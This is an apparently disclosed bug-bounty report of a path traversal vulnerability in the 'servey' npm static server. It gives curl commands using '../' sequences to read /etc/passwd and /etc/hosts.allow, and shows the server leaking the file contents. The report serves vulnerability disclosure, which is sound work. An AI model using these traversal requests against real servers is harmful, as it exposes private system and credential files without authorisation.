Node.js third-party modules · Report #355501
[servey] Path Traversal allows to retrieve content of any file with extension from remote server
Validstatus
mediumseverity
1upvotes
3 Apr 2019disclosed
How it was found
Hi Team,
I would like to report a partial Path Traversal in servey module.
It allows to read content of any arbitrary file (with extension) from the server.
Module
module name: servey version: 2.2.0 npm page: https://www.npmjs.com/package/servey
Module Description
A static & single page application server.
Module Stats
~120-200 downloads/month (estimated)
Vulnerability Description
Steps To Reproduce:
- Install
serveymodule:
$ npm install servey
- create sample application following an example from module's npm doc:
// app.js
const Servey = require('servey');
const Path = require('path')
const server = Servey.create({
spa: true,
port: 8080,
folder: Path.join(__dirname, 'static')
});
server.on('error', function (error) {
console.error(error);
});
server.on('request', function (req) {
console.log(req.url);
});
server.on('open', function () {
console.log('open');
});
server.open();
- run app:
$ node app.js
open
- try to retrieve content of
/etc/passwd(an example file without any extension).serveydoes not allow to open such file and throws HTTP 500 Internal Server Error:
$ curl -v --path-as-is localhost:8080/../../../../../../etc/passwd
* Trying ::1...
* connect to ::1 port 8080 failed: Connection refused
* Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET /../../../../../../etc/passwd HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 500 Internal Server Error
< Content-Type: text/html; charset=utf8
< Date: Mon, 21 May 2018 13:08:15 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{"code":500,"message":"Internal Server Error"}
- verify logs that request failed:
$ node app.js
open
/../../../../../../etc/passwd
{ Error: ENOENT: no such file or directory, open '/home/rafal.janicki/playground/hackerone/node/static/index.html'
errno: -2,
code: 'ENOENT',
syscall: 'open',
path: '/home/rafal.janicki/playground/hackerone/node/static/index.html' }
- now, try to execute following curl command to retrieve content of
/etc/hosts.allow(adjust amount of ../ to reflect your system):
$ curl -v --path-as-is localhost:8080/../../../../../../etc/hosts.allow
* Trying ::1...
* connect to ::1 port 8080 failed: Connection refused
* Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET /../../../../../../etc/hosts.allow HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: undefined; charset=utf8
< Date: Mon, 21 May 2018 13:06:38 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
<
# /etc/hosts.allow: list of hosts that are allowed to access the system.
# See the manual pages hosts_access(5) and hosts_options(5).
#
# Example: ALL: LOCAL @some_netgroup
# ALL: .foobar.edu EXCEPT terminalserver.foobar.edu
#
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
#
* Connection #0 to host localhost left intact
- check
serveyapp logs again:
$ node app.js
open
/../../../../../../etc/passwd
{ Error: ENOENT: no such file or directory, open '/home/rafal.janicki/playground/hackerone/node/static/index.html'
errno: -2,
code: 'ENOENT',
syscall: 'open',
path: '/home/rafal.janicki/playground/hackerone/node/static/index.html' }
/../../../../../../etc/hosts.allow
You can see hosts.allow requets did not fail and the content of the file was retrieved.
Patch
N/A
Supporting Material/References:
- Operating system: Ubuntu 16.04
- Node.js 8.11.1
- npm v. 6.0.1
- curl 7.47.0
Wrap up
- I contacted the maintainer to let him know: [N]
- I opened an issue in the related repository: [N]
Regards,
Rafal 'bl4de' Janicki
Impact
An attacker is able to retrieve content of any file with extension from remote server.